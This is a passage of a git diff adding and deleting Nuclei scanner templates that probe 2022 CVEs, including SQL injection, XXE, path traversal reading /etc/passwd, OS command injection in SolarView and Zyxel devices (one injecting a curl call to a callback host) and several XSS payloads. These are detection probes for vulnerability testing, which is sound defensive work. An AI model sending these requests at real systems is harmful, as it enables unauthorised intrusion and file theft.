+ Apply the latest patch or update provided by the vendor to fix the SQL Injection vulnerability in the Microfinance Management System 1.0.
+ reference:
+ - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-27927
+ - https://www.sourcecodester.com/sites/default/files/download/oretnom23/mims_0.zip
+ - https://www.exploit-db.com/exploits/50891
+ - https://nvd.nist.gov/vuln/detail/CVE-2022-27927
+ - https://www.sourcecodester.com/php/14822/microfinance-management-system.html
+ classification:
+ cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+ cvss-score: 9.8
+ cve-id: CVE-2022-27927
+ cwe-id: CWE-89
+ epss-score: 0.10451
+ epss-percentile: 0.94459
+ cpe: cpe:2.3:a:microfinance_management_system_project:microfinance_management_system:1.0:*:*:*:*:*:*:*
+ metadata:
+ verified: true
+ max-request: 1
+ vendor: microfinance_management_system_project
+ product: microfinance_management_system
+ tags: cve,cve2022,microfinance,edb,sqli,microfinance_management_system_project
+variables:
+ num: "999999999"
+
+http:
+ - raw:
+ - |
+ GET /mims/updatecustomer.php?customer_number=-1'%20UNION%20ALL%20SELECT%20NULL,NULL,CONCAT(md5({{num}}),1,2),NULL,NULL,NULL,NULL,NULL,NULL' HTTP/1.1
+ Host: {{Hostname}}
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ part: body
+ words:
+ - '{{md5({{num}})}}'
+
+ - type: status
+ status:
+ - 200
+# digest: 490a00463044022100f2330cc77d89bc9dfac599714252cb298c5cb445f575714fdaa3d22ce52302d0021f4591789a7daf3fbe297cb9f3ea7331553a85261ca6027546cac70619c403fa:922c64590222798bb761d5b6d8e72950
\ No newline at end of file
diff --git a/nuclei-templates/CVE-2022/cve-2022-28219.yaml b/nuclei-templates/CVE-2022/cve-2022-28219.yaml
new file mode 100644
index 0000000000..1d27898b64
--- /dev/null
+++ b/nuclei-templates/CVE-2022/cve-2022-28219.yaml
@@ -0,0 +1,67 @@
+id: CVE-2022-28219
+
+info:
+ name: Zoho ManageEngine ADAudit Plus <7600 - XML Entity Injection/Remote Code Execution
+ author: dwisiswant0
+ severity: critical
+ description: |
+ Zoho ManageEngine ADAudit Plus before version 7060 is vulnerable to an
+ unauthenticated XML entity injection attack that can lead to remote code execution.
+ impact: |
+ Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code or perform remote code execution on the affected system.
+ remediation: |
+ Update to ADAudit Plus build 7060 or later, and ensure ADAudit Plus
+ is configured with a dedicated service account with restricted privileges.
+ reference:
+ - https://www.manageengine.com/products/active-directory-audit/cve-2022-28219.html
+ - https://www.horizon3.ai/red-team-blog-cve-2022-28219/
+ - https://manageengine.com
+ - https://nvd.nist.gov/vuln/detail/CVE-2022-28219
+ - http://cewolf.sourceforge.net/new/index.html
+ classification:
+ cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+ cvss-score: 9.8
+ cve-id: CVE-2022-28219
+ cwe-id: CWE-611
+ epss-score: 0.97392
+ epss-percentile: 0.99909
+ cpe: cpe:2.3:a:zohocorp:manageengine_adaudit_plus:*:*:*:*:*:*:*:*
+ metadata:
+ verified: true
+ max-request: 1
+ vendor: zohocorp
+ product: manageengine_adaudit_plus
+ shodan-query: http.title:"ADAudit Plus" || http.title:"ManageEngine - ADManager Plus"
+ tags: cve,cve2022,xxe,rce,zoho,manageengine,unauth,zohocorp
+
+http:
+ - method: POST
+ path:
+ - "{{BaseURL}}/api/agent/tabs/agentData"
+
+ body: |
+ [
+ {
+ "DomainName": "{{Host}}",
+ "EventCode": 4688,
+ "EventType": 0,
+ "TimeGenerated": 0,
+ "Task Content": " %xxe; ]>"
+ }
+ ]
+
+ headers:
+ Content-Type: application/json
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ part: interactsh_protocol # Confirms the HTTP Interaction
+ words:
+ - "http"
+
+ - type: word
+ part: body
+ words:
+ - "ManageEngine"
+# digest: 4b0a00483046022100adfe043ed717eb4c2bd34e54d594afa7fcd27ffa6a5abaa6d34ae8fe396dcd53022100ad5db93b3daf8c1043b3d88354716768831713fd53728c5fe7d83373dbdca6b8:922c64590222798bb761d5b6d8e72950
\ No newline at end of file
diff --git a/nuclei-templates/CVE-2022/cve-2022-28365.yaml b/nuclei-templates/CVE-2022/cve-2022-28365.yaml
new file mode 100644
index 0000000000..17c731df63
--- /dev/null
+++ b/nuclei-templates/CVE-2022/cve-2022-28365.yaml
@@ -0,0 +1,37 @@
+id: CVE-2022-28365
+
+info:
+ name: Reprise License Manager 14.2 - Information Disclosure
+ author: Akincibor
+ severity: medium
+ description: |
+ Reprise License Manager 14.2 is affected by an Information Disclosure vulnerability via a GET request to /goforms/rlminfo. No authentication is required. The information disclosed is associated with software versions, process IDs, network configuration, hostname(s), system architecture and file/directory information.
+ reference:
+ - https://nvd.nist.gov/vuln/detail/CVE-2022-28365
+ - https://www.reprisesoftware.com/products/software-license-management.php
+ - https://github.com/advisories/GHSA-4g2v-6x25-vr7p
+ - http://packetstormsecurity.com/files/166647/Reprise-License-Manager-14.2-Cross-Site-Scripting-Information-Disclosure.html
+ classification:
+ cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
+ cvss-score: 5.30
+ cve-id: CVE-2022-28365
+ cwe-id: CWE-668
+ tags: cve,cve2022,exposure,rlm
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/goforms/rlminfo"
+
+ matchers-condition: and
+ matchers:
+ - type: status
+ status:
+ - 200
+
+ - type: word
+ part: body
+ words:
+ - "RLM Version"
+ - "Platform type"
+ condition: and
diff --git a/nuclei-templates/CVE-2022/cve-2022-29298.yaml b/nuclei-templates/CVE-2022/cve-2022-29298.yaml
new file mode 100644
index 0000000000..38ffe1f6b1
--- /dev/null
+++ b/nuclei-templates/CVE-2022/cve-2022-29298.yaml
@@ -0,0 +1,49 @@
+id: CVE-2022-29298
+
+info:
+ name: SolarView Compact 6.00 - Local File Inclusion
+ author: ritikchaddha
+ severity: high
+ description: SolarView Compact 6.00 is vulnerable to local file inclusion which could allow attackers to access sensitive files.
+ impact: |
+ Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information, including configuration files, credentials, and other sensitive data.
+ remediation: |
+ Apply the latest patch or update provided by the vendor to fix the LFI vulnerability in SolarView Compact 6.00.
+ reference:
+ - https://www.exploit-db.com/exploits/50950
+ - https://drive.google.com/file/d/1-RHw9ekVidP8zc0xpbzBXnse2gSY1xbH/view
+ - https://drive.google.com/file/d/1-RHw9ekVidP8zc0xpbzBXnse2gSY1xbH/view?usp=sharing
+ - https://nvd.nist.gov/vuln/detail/CVE-2022-29298
+ - https://github.com/20142995/pocsuite3
+ classification:
+ cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
+ cvss-score: 7.5
+ cve-id: CVE-2022-29298
+ cwe-id: CWE-22
+ epss-score: 0.1374
+ epss-percentile: 0.95497
+ cpe: cpe:2.3:o:contec:sv-cpt-mc310_firmware:6.00:*:*:*:*:*:*:*
+ metadata:
+ verified: true
+ max-request: 1
+ vendor: contec
+ product: sv-cpt-mc310_firmware
+ shodan-query: http.html:"SolarView Compact"
+ tags: cve,cve2022,lfi,solarview,edb,contec
+
+http:
+ - method: GET
+ path:
+ - "{{BaseURL}}/downloader.php?file=../../../../../../../../../../../../../etc/passwd%00.jpg"
+
+ matchers-condition: and
+ matchers:
+ - type: regex
+ part: body
+ regex:
+ - "root:.*:0:0:"
+
+ - type: status
+ status:
+ - 200
+# digest: 490a00463044022078d081edda1941e7be81d051567065c4e396282660f623323433ef782d79da2902205556917e13179bce84c0fd7d72192302ad7189776bf60aa56d15335d18521f44:922c64590222798bb761d5b6d8e72950
\ No newline at end of file
diff --git a/nuclei-templates/CVE-2022/cve-2022-29299.yaml b/nuclei-templates/CVE-2022/cve-2022-29299.yaml
new file mode 100644
index 0000000000..d334a36759
--- /dev/null
+++ b/nuclei-templates/CVE-2022/cve-2022-29299.yaml
@@ -0,0 +1,50 @@
+id: CVE-2022-29299
+
+info:
+ name: SolarView Compact 6.00 - 'time_begin' Cross-Site Scripting
+ author: For3stCo1d
+ severity: medium
+ description: |
+ SolarView Compact version 6.00 contains a cross-site scripting vulnerability in the 'time_begin' parameter to Solar_History.php.
+ impact: |
+ Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
+ remediation: |
+ To mitigate this vulnerability, it is recommended to implement proper input validation and sanitization techniques to prevent the execution of malicious scripts.
+ reference:
+ - https://www.exploit-db.com/exploits/50967
+ - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-29299
+ - https://github.com/ARPSyndicate/cvemon
+ - https://github.com/ARPSyndicate/kenzer-templates
+ classification:
+ cve-id: CVE-2022-29299
+ epss-score: 0.00175
+ epss-percentile: 0.53704
+ metadata:
+ verified: true
+ max-request: 1
+ shodan-query: http.favicon.hash:-244067125
+ tags: cve2022,cve,xss,solarview,edb
+
+http:
+ - method: GET
+ path:
+ - '{{BaseURL}}/Solar_History.php?time_begin=xx%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E%3C%22&time_end=&event_level=0&event_pcs=1&search_on=on&search_off=on&word=hj%27&sort_type=0&record=10&command=%95%5C%8E%A6'
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ part: body
+ words:
+ - '<"">'
+ - '/Solar_History.php" METHOD="post">'
+ condition: and
+
+ - type: word
+ part: header
+ words:
+ - "text/html"
+
+ - type: status
+ status:
+ - 200
+# digest: 4a0a004730450220673dc09a9e66945d3637df5b363f262144bea056b46b6df86841bfd376ae1c290221008cbc66ea88991d111c727cdec2f06797a521103da95bc92272406df8e87890a5:922c64590222798bb761d5b6d8e72950
\ No newline at end of file
diff --git a/nuclei-templates/CVE-2022/cve-2022-29303.yaml b/nuclei-templates/CVE-2022/cve-2022-29303.yaml
new file mode 100644
index 0000000000..3f9b0f07ff
--- /dev/null
+++ b/nuclei-templates/CVE-2022/cve-2022-29303.yaml
@@ -0,0 +1,58 @@
+id: CVE-2022-29303
+
+info:
+ name: SolarView Compact 6.00 - OS Command Injection
+ author: badboycxcc
+ severity: critical
+ description: |
+ SolarView Compact 6.00 was discovered to contain a command injection vulnerability via conf_mail.php.
+ impact: |
+ Successful exploitation of this vulnerability can lead to unauthorized remote code execution, potentially compromising the confidentiality, integrity, and availability of the system.
+ remediation: |
+ Apply the latest patch or update provided by the vendor to fix the OS command injection vulnerability in SolarView Compact 6.00.
+ reference:
+ - https://www.exploit-db.com/exploits/50940
+ - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-29303
+ - https://drive.google.com/drive/folders/1tGr-WExbpfvhRg31XCoaZOFLWyt3r60g?usp=sharing
+ - http://packetstormsecurity.com/files/167183/SolarView-Compact-6.0-Command-Injection.html
+ - https://github.com/ARPSyndicate/cvemon
+ classification:
+ cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+ cvss-score: 9.8
+ cve-id: CVE-2022-29303
+ cwe-id: CWE-78
+ epss-score: 0.9598
+ epss-percentile: 0.99429
+ cpe: cpe:2.3:o:contec:sv-cpt-mc310_firmware:6.00:*:*:*:*:*:*:*
+ metadata:
+ verified: true
+ max-request: 1
+ vendor: contec
+ product: sv-cpt-mc310_firmware
+ shodan-query: http.html:"SolarView Compact"
+ tags: cve,cve2022,injection,solarview,edb,packetstorm,rce,kev,contec
+variables:
+ cmd: "cat${IFS}/etc/passwd"
+
+http:
+ - raw:
+ - |
+ @timeout: 25s
+ POST /conf_mail.php HTTP/1.1
+ Host: {{Hostname}}
+ Content-Type: application/x-www-form-urlencoded
+
+ mail_address=%3B{{cmd}}%3B&button=%83%81%81%5B%83%8B%91%97%90M
+
+ matchers-condition: and
+ matchers:
+ - type: regex
+ part: body
+ regex:
+ - "root:.*:0:0"
+
+ - type: word
+ part: body
+ words:
+ - "p1_network_mail.cgi"
+# digest: 4a0a00473045022100cfdae160b8d20debb49ab77a03efc5984e3595e0738b0153de27449eb8cf254c022008bf10a1ac0f9b524841d022daae36b4b0b105ddae1296e300fb87c886200617:922c64590222798bb761d5b6d8e72950
\ No newline at end of file
diff --git a/nuclei-templates/CVE-2022/cve-2022-29548.yaml b/nuclei-templates/CVE-2022/cve-2022-29548.yaml
new file mode 100644
index 0000000000..5cdf4a3d75
--- /dev/null
+++ b/nuclei-templates/CVE-2022/cve-2022-29548.yaml
@@ -0,0 +1,55 @@
+id: CVE-2022-29548
+
+info:
+ name: WSO2 - Cross-Site Scripting
+ author: edoardottt
+ severity: medium
+ description: |
+ WSO2 contains a reflected cross-site scripting vulnerability in the Management Console of API Manager 2.2.0, 2.5.0, 2.6.0, 3.0.0, 3.1.0, 3.2.0, and 4.0.0; API Manager Analytics 2.2.0, 2.5.0, and 2.6.0; API Microgateway 2.2.0; Data Analytics Server 3.2.0; Enterprise Integrator 6.2.0, 6.3.0, 6.4.0, 6.5.0, and 6.6.0; IS as Key Manager 5.5.0, 5.6.0, 5.7.0, 5.9.0, and 5.10.0; Identity Server 5.5.0, 5.6.0, 5.7.0, 5.9.0, 5.10.0, and 5.11.0; Identity Server Analytics 5.5.0 and 5.6.0; and WSO2 Micro Integrator 1.0.0.
+ impact: |
+ Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected application.
+ remediation: |
+ Apply the latest security patches or updates provided by WSO2 to fix the XSS vulnerability.
+ reference:
+ - https://docs.wso2.com/display/Security/Security+Advisory+WSO2-2021-1603
+ - https://nvd.nist.gov/vuln/detail/CVE-2022-29548
+ - http://packetstormsecurity.com/files/167587/WSO2-Management-Console-Cross-Site-Scripting.html
+ - https://security.docs.wso2.com/en/latest/security-announcements/security-advisories/2022/WSO2-2021-1603/
+ - https://github.com/vishnusomank/GoXploitDB
+ classification:
+ cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+ cvss-score: 6.1
+ cve-id: CVE-2022-29548
+ cwe-id: CWE-79
+ epss-score: 0.00299
+ epss-percentile: 0.68867
+ cpe: cpe:2.3:a:wso2:api_manager:2.2.0:*:*:*:*:*:*:*
+ metadata:
+ verified: true
+ max-request: 1
+ vendor: wso2
+ product: api_manager
+ google-query: inurl:"carbon/admin/login"
+ tags: cve,cve2022,wso2,xss,packetstorm
+
+http:
+ - method: GET
+ path:
+ - "{{BaseURL}}/carbon/admin/login.jsp?loginStatus=false&errorCode=%27);alert(document.domain)//"
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ part: body
+ words:
+ - "CARBON.showWarningDialog('???');alert(document.domain)//???"
+
+ - type: word
+ part: header
+ words:
+ - "text/html"
+
+ - type: status
+ status:
+ - 200
+# digest: 4a0a00473045022100f74f191103aed5a55a87b64ed54d8e3f2c3a84f48f2853428d9af571e0cd877702201a9a8a865260835250bcde79a6d3fd03166539ac2f673fd0a73386d219f510e2:922c64590222798bb761d5b6d8e72950
\ No newline at end of file
diff --git a/nuclei-templates/CVE-2022/cve-2022-30073.yaml b/nuclei-templates/CVE-2022/cve-2022-30073.yaml
deleted file mode 100644
index 8e51358733..0000000000
--- a/nuclei-templates/CVE-2022/cve-2022-30073.yaml
+++ /dev/null
@@ -1,80 +0,0 @@
-id: CVE-2022-30073
-
-info:
- name: WBCE CMS 1.5.2 - Cross-Site Scripting
- author: arafatansari
- severity: medium
- description: |
- WBCE CMS 1.5.2 contains a stored cross-site scripting vulnerability via \admin\user\save.php Display Name parameters.
- impact: |
- Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
- remediation: |
- Upgrade to a patched version of WBCE CMS or apply the vendor-supplied patch to mitigate this vulnerability.
- reference:
- - https://github.com/APTX-4879/CVE
- - https://github.com/APTX-4879/CVE/blob/main/CVE-2022-30073.pdf
- - https://nvd.nist.gov/vuln/detail/CVE-2022-30073
- - https://github.com/ARPSyndicate/kenzer-templates
- classification:
- cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
- cvss-score: 5.4
- cve-id: CVE-2022-30073
- cwe-id: CWE-79
- epss-score: 0.00205
- epss-percentile: 0.57793
- cpe: cpe:2.3:a:wbce:wbce_cms:1.5.2:*:*:*:*:*:*:*
- metadata:
- verified: true
- max-request: 4
- vendor: wbce
- product: wbce_cms
- tags: cve2022,cve,wbcecms,xss,wbce
-
-http:
- - raw:
- - |
- POST /admin/login/index.php HTTP/1.1
- Host: {{Hostname}}
- Content-Type: application/x-www-form-urlencoded
-
- url=&username_fieldname=username_axh5kevh&password_fieldname=password_axh5kevh&username_axh5kevh={{username}}&password_axh5kevh={{password}}&submit=Login
- - |
- GET /admin/users/index.php HTTP/1.1
- Host: {{Hostname}}
- - |
- POST /admin/users/index.php HTTP/1.1
- Host: {{Hostname}}
- Content-Type: application/x-www-form-urlencoded
-
- formtoken={{formtoken}}&user_id=&username_fieldname=username_tep83j9z&username_tep83j9z=testme2&password=temp1234&password2=temp1234&display_name=%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&email=testme2%40abc.com&home_folder=&groups%5B%5D=1&active%5B%5D=1&submit=
- - |
- GET /admin/users/index.php HTTP/1.1
- Host: {{Hostname}}
-
- matchers-condition: and
- matchers:
- - type: word
- part: body
- words:
- - "
"
- - "WBCECMS"
- condition: and
-
- - type: word
- part: header
- words:
- - text/html
-
- - type: status
- status:
- - 200
-
- extractors:
- - type: regex
- name: formtoken
- group: 1
- regex:
- - ''
- internal: true
- part: body
-# digest: 4a0a00473045022008a3770822e57b09d41ac02e4e8fb24a8d4ae12e02479ea7fba6c5a50919789a022100e7d5afd4414fd130081f474df96ee4a0f3b609a7d5e683b618acba7031af8323:922c64590222798bb761d5b6d8e72950
\ No newline at end of file
diff --git a/nuclei-templates/CVE-2022/cve-2022-30489.yaml b/nuclei-templates/CVE-2022/cve-2022-30489.yaml
deleted file mode 100644
index fa8e443a15..0000000000
--- a/nuclei-templates/CVE-2022/cve-2022-30489.yaml
+++ /dev/null
@@ -1,58 +0,0 @@
-id: CVE-2022-30489
-
-info:
- name: Wavlink WN-535G3 - Cross-Site Scripting
- author: For3stCo1d
- severity: medium
- description: |
- Wavlink WN-535G3 contains a POST cross-site scripting vulnerability via the hostname parameter at /cgi-bin/login.cgi.
- impact: |
- Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of a victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
- remediation: |
- Apply the latest firmware update provided by the vendor to mitigate this vulnerability.
- reference:
- - https://github.com/badboycxcc/XSS-CVE-2022-30489
- - https://github.com/badboycxcc/XSS
- - https://nvd.nist.gov/vuln/detail/CVE-2022-30489
- classification:
- cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- cvss-score: 6.1
- cve-id: CVE-2022-30489
- cwe-id: CWE-79
- epss-score: 0.00088
- epss-percentile: 0.36947
- cpe: cpe:2.3:o:wavlink:wn535g3_firmware:-:*:*:*:*:*:*:*
- metadata:
- verified: true
- max-request: 1
- vendor: wavlink
- product: wn535g3_firmware
- shodan-query: http.title:"Wi-Fi APP Login"
- tags: cve,cve2022,xss,wavlink,router,iot
-
-http:
- - raw:
- - |
- POST /cgi-bin/login.cgi HTTP/1.1
- Host: {{Hostname}}
- Content-Type: application/x-www-form-urlencoded
-
- newUI=1&page=login&username=admin&langChange=0&ipaddr=x.x.x.x&login_page=login.shtml&homepage=main.shtml&sysinitpage=sysinit.shtml&hostname=")&key=M27234733&password=63a36bceec2d3bba30d8611c323f4cda&lang_=cn
-
- matchers-condition: and
- matchers:
- - type: word
- words:
- - ''
- - 'parent.location.replace("http://")'
- condition: and
-
- - type: word
- part: header
- words:
- - text/html
-
- - type: status
- status:
- - 200
-# digest: 4a0a00473045022100e403fa95c8208dca72c7387425cba8c129e7dfa20d8dab4a96911b406fba2cc1022048e179973aa2f40b253ff07bb159c86d5da40b59437535549c3ee912cc28f201:922c64590222798bb761d5b6d8e72950
\ No newline at end of file
diff --git a/nuclei-templates/CVE-2022/cve-2022-30525.yaml b/nuclei-templates/CVE-2022/cve-2022-30525.yaml
deleted file mode 100644
index 4e8a29bb38..0000000000
--- a/nuclei-templates/CVE-2022/cve-2022-30525.yaml
+++ /dev/null
@@ -1,53 +0,0 @@
-id: CVE-2022-30525
-
-info:
- name: Zyxel Firewall - OS Command Injection
- author: h1ei1,prajiteshsingh
- severity: critical
- description: |
- An OS command injection vulnerability in the CGI program of Zyxel USG FLEX 100(W) firmware versions 5.00 through 5.21 Patch 1, USG FLEX 200 firmware versions 5.00 through 5.21 Patch 1, USG FLEX 500 firmware versions 5.00 through 5.21 Patch 1, USG FLEX 700 firmware versions 5.00 through 5.21 Patch 1, USG FLEX 50(W) firmware versions 5.10 through 5.21 Patch 1, USG20(W)-VPN firmware versions 5.10 through 5.21 Patch 1, ATP series firmware versions 5.10 through 5.21 Patch 1, VPN series firmware versions 4.60 through 5.21 Patch 1, are susceptible to a command injection vulnerability which could allow an attacker to modify specific files and then execute some OS commands on a vulnerable device.
- impact: |
- Successful exploitation of this vulnerability can lead to unauthorized remote code execution, compromising the confidentiality, integrity, and availability of the affected system.
- remediation: |
- Apply the latest security patches or firmware updates provided by Zyxel to mitigate this vulnerability.
- reference:
- - https://www.rapid7.com/blog/post/2022/05/12/cve-2022-30525-fixed-zyxel-firewall-unauthenticated-remote-command-injection/
- - https://github.com/rapid7/metasploit-framework/pull/16563
- - https://www.zyxel.com/support/Zyxel-security-advisory-for-OS-command-injection-vulnerability-of-firewalls.shtml
- - https://nvd.nist.gov/vuln/detail/CVE-2022-30525
- - http://packetstormsecurity.com/files/167176/Zyxel-Remote-Command-Execution.html
- classification:
- cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- cvss-score: 9.8
- cve-id: CVE-2022-30525
- cwe-id: CWE-78
- epss-score: 0.97482
- epss-percentile: 0.99967
- cpe: cpe:2.3:o:zyxel:usg_flex_100w_firmware:*:*:*:*:*:*:*:*
- metadata:
- max-request: 1
- vendor: zyxel
- product: usg_flex_100w_firmware
- shodan-query: title:"USG FLEX 100","USG FLEX 100w","USG FLEX 200","USG FLEX 500","USG FLEX 700","USG FLEX 50","USG FLEX 50w","ATP100","ATP200","ATP500","ATP700"
- tags: cve2022,cve,packetstorm,zyxel,firewall,unauth,kev,msf,rce
-
-http:
- - raw:
- - |
- POST /ztp/cgi-bin/handler HTTP/1.1
- Host: {{Hostname}}
- Content-Type: application/json
-
- {"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged":"1","vlanid":"5","mtu":"; curl {{interactsh-url}};","data":"hi"}
-
- matchers-condition: and
- matchers:
- - type: word
- part: interactsh_protocol
- words:
- - "http"
-
- - type: status
- status:
- - 500
-# digest: 4b0a00483046022100d2611a4bbd37c92e10c7c04c5287817c5276dc06e9595aa43f4c7e2d7f9d6f32022100e8b1382edb51ac7f80e2006d4ef501e49d529af2ea63b39cb9842b574f17f6db:922c64590222798bb761d5b6d8e72950
\ No newline at end of file
diff --git a/nuclei-templates/CVE-2022/cve-2022-30777.yaml b/nuclei-templates/CVE-2022/cve-2022-30777.yaml
deleted file mode 100644
index d36995911c..0000000000
--- a/nuclei-templates/CVE-2022/cve-2022-30777.yaml
+++ /dev/null
@@ -1,56 +0,0 @@
-id: CVE-2022-30777
-
-info:
- name: Parallels H-Sphere 3.6.1713 - Cross-Site Scripting
- author: 3th1c_yuk1
- severity: medium
- description: |
- Parallels H-Sphere 3.6.1713 contains a cross-site scripting vulnerability via the index_en.php 'from' parameter.
- impact: |
- Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
- remediation: |
- Apply the latest security patch or upgrade to a newer version of Parallels H-Sphere to mitigate the XSS vulnerability.
- reference:
- - https://medium.com/@bhattronit96/cve-2022-30777-45725763ab59
- - https://en.wikipedia.org/wiki/H-Sphere
- - https://nvd.nist.gov/vuln/detail/CVE-2022-30777
- - https://medium.com/%40bhattronit96/cve-2022-30777-45725763ab59
- classification:
- cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- cvss-score: 6.1
- cve-id: CVE-2022-30777
- cwe-id: CWE-79
- epss-score: 0.00087
- epss-percentile: 0.36061
- cpe: cpe:2.3:a:parallels:h-sphere:3.6.2:*:*:*:*:*:*:*
- metadata:
- verified: true
- max-request: 2
- vendor: parallels
- product: h-sphere
- shodan-query: title:"h-sphere"
- tags: cve,cve2022,parallels,hsphere,xss
-
-http:
- - method: GET
- path:
- - '{{BaseURL}}/index_en.php?from=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
- - '{{BaseURL}}/index.php?from=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
-
- stop-at-first-match: true
-
- matchers-condition: and
- matchers:
- - type: word
- words:
- - '"><script>alert(document.domain)</script>'
-
- - type: word
- part: header
- words:
- - "text/html"
-
- - type: status
- status:
- - 200
-# digest: 4a0a004730450220193f90816efc79d2ac468c37e58a42add449c9c53f48ed07934c74f756d9550d022100bc87714095325fe51d81827336aa365718a61f67c95e590fea50198ba245e3eb:922c64590222798bb761d5b6d8e72950
\ No newline at end of file
diff --git a/nuclei-templates/CVE-2022/cve-2022-31268.yaml b/nuclei-templates/CVE-2022/cve-2022-31268.yaml
deleted file mode 100644
index 061d0ca131..0000000000
--- a/nuclei-templates/CVE-2022/cve-2022-31268.yaml
+++ /dev/null
@@ -1,58 +0,0 @@
-id: CVE-2022-31268
-
-info:
- name: Gitblit 1.9.3 - Local File Inclusion
- author: 0x_Akoko
- severity: high
- description: |
- Gitblit 1.9.3 is vulnerable to local file inclusion via /resources//../ (e.g., followed by a WEB-INF or META-INF pathname).
- impact: |
- Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the affected system.
- remediation: |
- Upgrade Gitblit to a version that is not affected by the vulnerability (CVE-2022-31268).
- reference:
- - https://github.com/metaStor/Vuls/blob/main/gitblit/gitblit%20V1.9.3%20path%20traversal/gitblit%20V1.9.3%20path%20traversal.md
- - https://vuldb.com/?id.200500
- - https://nvd.nist.gov/vuln/detail/CVE-2022-31268
- - https://github.com/Marcuccio/kevin
- - https://github.com/20142995/sectool
- classification:
- cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
- cvss-score: 7.5
- cve-id: CVE-2022-31268
- cwe-id: CWE-22
- epss-score: 0.00618
- epss-percentile: 0.76574
- cpe: cpe:2.3:a:gitblit:gitblit:1.9.3:*:*:*:*:*:*:*
- metadata:
- verified: true
- max-request: 1
- vendor: gitblit
- product: gitblit
- shodan-query: http.html:"Gitblit"
- tags: cve,cve2022,lfi,gitblit
-
-http:
- - method: GET
- path:
- - "{{BaseURL}}/resources//../WEB-INF/web.xml"
-
- matchers-condition: and
- matchers:
- - type: word
- part: body
- words:
- - "</web-app>"
- - "java.sun.com"
- - "gitblit.properties"
- condition: and
-
- - type: word
- part: header
- words:
- - "application/xml"
-
- - type: status
- status:
- - 200
-# digest: 4b0a00483046022100e2e1fcaa58d2dee7545ceebd7a5676ce15a39fc9158480ee7246e0b44b801c19022100bd5e8b3b6dea5d148c40a77c6183f6e003c34e77f22ac9d017f7b00b202f9952:922c64590222798bb761d5b6d8e72950
\ No newline at end of file
diff --git a/nuclei-templates/CVE-2022/cve-2022-31373.yaml b/nuclei-templates/CVE-2022/cve-2022-31373.yaml
new file mode 100644
index 0000000000..9cd6fdedb7
--- /dev/null
+++ b/nuclei-templates/CVE-2022/cve-2022-31373.yaml
@@ -0,0 +1,57 @@
+id: CVE-2022-31373
+
+info:
+ name: SolarView Compact 6.00 - Cross-Site Scripting
+ author: ritikchaddha
+ severity: medium
+ description: |
+ SolarView Compact 6.00 contains a cross-site scripting vulnerability via Solar_AiConf.php. An attacker can execute arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
+ impact: |
+ Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
+ remediation: |
+ Upgrade to the latest version to mitigate this vulnerability.
+ reference:
+ - https://github.com/badboycxcc/SolarView_Compact_6.0_xss
+ - https://nvd.nist.gov/vuln/detail/CVE-2022-31373
+ - https://github.com/ARPSyndicate/cvemon
+ - https://github.com/ARPSyndicate/kenzer-templates
+ - https://github.com/badboycxcc/badboycxcc
+ classification:
+ cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+ cvss-score: 6.1
+ cve-id: CVE-2022-31373
+ cwe-id: CWE-79
+ epss-score: 0.00088
+ epss-percentile: 0.36353
+ cpe: cpe:2.3:o:contec:sv-cpt-mc310_firmware:6.0:*:*:*:*:*:*:*
+ metadata:
+ verified: true
+ max-request: 1
+ vendor: contec
+ product: sv-cpt-mc310_firmware
+ shodan-query: http.html:"SolarView Compact"
+ tags: cve2022,cve,xss,solarview,contec
+
+http:
+ - method: GET
+ path:
+ - '{{BaseURL}}/Solar_AiConf.php/%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ part: body
+ words:
